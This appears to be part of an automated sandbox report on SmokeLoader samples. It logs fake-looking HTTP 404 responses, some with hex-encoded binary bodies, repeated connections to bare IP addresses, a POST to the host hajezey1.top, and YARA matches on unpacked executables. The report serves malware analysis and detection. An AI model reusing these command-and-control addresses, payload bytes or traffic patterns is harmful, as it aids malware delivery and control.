40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 2a 64 b1 1d 32 12 51 8c 26 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e f6 11 11 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 cc 62 06 f1 60 7f ae 03 58 e5 1d e4 a4 7d 10 99 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 80 8a 49 37 03 80 e3 1c cd 20 f5 52 b7 3b 3a 96 f5 cb e7 17 3f dc e5 7e 0d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 98 3a 1d f8 4e b5 14 86 c1 70 a8 fe 04 c5 db ad 0e c9 9c 47 a2 91 29 98 f9 4c 79 de 79 d5 57 d0 6f fd ef 76 67 a8 db e9 d5 6a e2 3c 99 a8 84 be 57 a7 eb 6c 28 8e 94 16 a3 4e d4 e7 23 b2 52 dc 1a 9e 8b 18 07 64 01 7d 46 02 82 96 c6 ce 2d b2 9d df 3c 42 56 60 de 9e 93 0f 94 45 a9 24 4f 78 60 22 30 5f d6 a0 b8 78 fe b1 8e 98 37 20 5e 32 d0 c9 f3 32 42 82 39 16 12 47 0b f9 17 30 8d e3 51 22 b2 3d df 10 54 5a 17 1c 5c 5a 12 b3 19 5f 11 8f 69 f9 e4 b9 2a 01 6e f3 fd 58 b3 dc 95 25 1f 90 13 f7 5e 15 23 b5 01 92 e3 92 c2 01 7d 7e d3 95 bc 43 cf 76 62 93 55 e1 05 85 d4 9c 97 2e 60 10 3a 93 83 ac e5 fe 99 ae 32 c8 6e 95 8d 4a d5 f8 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 fb 37 67 d2 1f ad af a2 e2 54 24 d0 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:15 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 40 26 0b 04 59 b9 1d 6d f5 e9 e6 a1 29 7a 3a 62 c3 cc a7 43 ec 44 d7 6b 50 78 18 e0 30 8a 3c a2 61 a3 d6 d4 22 a2 58 d5 5b 2d 22 ad 88 88 5e 6f d7 9f b7 ee bc db 32 b9 9a 4c ca 4c 08 03 d4 d2 a1 97 c6 37 13 4b 42 c4 d4 5a c6 ca 23 e8 16 41 bf 6c 13 d9 c8 9f 57 db 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b 88 b6 4b 24 7e 45 f7 ff 78 8d 55 db 24 0d 11 12 b4 1f eb 92 24 82 45 c5 03 49 bd a3 61 7e de f5 69 33 11 17 7e 4f af 9a a5 e4 c3 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 11 41 48 9a 07 fd ec 23 20 77 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 d5 20 c6 4f 6b 79 82 ae 9c a7 82 4e 95 1f ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df 75 6c e5 ee 30 4c 80 f0 00 f9 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 9a 70 f7 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 94 42 40 bb 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 39 07 bd 1b 6f d3 cb 29 32 a2 ed 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 13 61 6a e6 a6 dd 1a 9f 10 af d9 b0 99 89 93 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 fa b0 92 48 a9 b4 bb e1 33 17 28 d2 9e c6 1d d0 eb aa 7a 8f 52 61 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 b9 82 7b 50 bf e5 7e 75 82 71 d4 03 6b 2c 9a 76 48 0e ca 82 21 2f 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 01 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:16 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b1 ba 89 c7 a8 25 9f ae 04 75 64 62 d8 e6 b8 a1 54 5e 1b 80 2b d8 55 a8 c7 ea 87 23 6d 16 be 61 f6 31 6d 17 41 3e da 16 a3 c9 32 6e a0 14 dc ac 2f 7b b0 2d 61 47 b0 7a 0d de 75 8f f9 9f 56 11 36 05 4a f4 e2 d7 c0 07 43 c8 48 09 d2 74 94 82 bf 6c 13 d9 39 03 d5 18 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 8e ff 0e 43 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e 85 f6 ff 78 f3 56 db c4 0d 13 13 e3 0f e0 92 24 18 4f c5 03 71 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 7a f0 96 be 21 51 61 9a d4 3e 7c 8a 28 c8 c9 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 a2 7a 31 6c 1a 7c 0a 8d 1b f9 e6 0e 10 eb 7e 71 eb 90 f0 1a 10 de 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 22 a6 0f 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 73 33 cd 46 99 48 15 ac af eb d9 55 3d af ba 68 92 de fe 9d 57 7c 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b a8 d4 de 8e 82 11 e8 e4 1f 9e a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 af 5b 85 1f d4 8c 69 91 9c 61 06 f1 2c 9a af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 e4 56 89 8b e1 42 78 d7 9c 9e c3 e0 2b a5 b6 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c b1 65 f5 52 48 d4 3f 96 4d 8d e7 17 3f fe e7 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:23 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc df 85 6e bb f6 c7 35 f3 73 07 03 d2 ff f9 da fb eb b2 b9 71 cd f5 34 33 d1 62 73 45 7c 1f 57 44 f3 08 b9 3c 50 15 51 fe 08 22 b1 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 62 91 54 5b fd 55 19 d0 ed 45 78 b1 17 20 58 4a ed 68 6a 3e 17 21 6b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 5c 6d 52 db 93 0d 13 13 bf 1e e9 92 28 0e 4f c5 03 a1 cb a1 61 7e de f5 69 77 1e 17 c6 4c af 9a a5 64 c1 a0 cd b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 d3 fb 2d b9 72 ce cc 23 b2 b7 09 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f 3f cf cc 46 d9 48 1d ac af e3 d9 55 3d 6b bd 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 aa 6c b1 1d 32 12 51 8c bc 10 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e 46 9d 16 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 74 5d 01 f1 10 35 ae 03 58 e5 1f e4 ae 7d 10 99 80 e0 d9 b0 c1 1c 9e 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 80 8a 49 37 03 80 e3 1c cd 20 f5 52 b7 3b 3a 96 f5 cb e7 17 3f dc e5 7e 0d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 98 3a 1d f8 4e b5 14 86 c1 70 a8 fe 04 c5 db ad 0e c9 9c 47 a2 91 29 98 f9 4c 79 de 79 d5 57 d0 6f fd ef 76 67 a8 db e9 d5 6a e2 3c 99 a8 84 be 57 a7 eb 6c 28 8e 94 16 a3 4e d4 e7 23 b2 52 dc 1a 9e 8b 18 07 64 01 7d 46 02 82 96 c6 ce 2d b2 9d df 3c 42 56 60 de 9e 93 0f 94 45 a9 24 4f 78 60 22 30 5f d6 a0 b8 78 fe b1 8e 98 37 20 5e 32 d0 c9 f3 32 42 82 39 16 12 47 0b f9 17 30 8d e3 51 22 b2 3d df 10 54 5a 17 1c 5c 5a 12 b3 19 5f 11 8f 69 f9 e4 b9 2a 01 6e f3 fd 58 b3 dc 95 25 1f 90 13 f7 5e 15 23 b5 01 92 e3 92 c2 01 7d 7e d3 95 bc 43 cf 76 62 93 55 e1 05 85 d4 9c 97 2e 60 10 3a 93 83 ac e5 fe 99 ae 32 c8 6e 95 8d 4a d5 f8 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 fb 37 67 d2 1f ad af a2 e2 54 24 d0 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:26 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://agvlhndt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: hajezey1.top

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.6:49815 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 15.1.8908.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.8908.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.8908.exe.2b615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.y8WngeDn4q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4EDC.exe.3080e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.esdfufc.400000.0.unpack, type: UNPACKEDPE
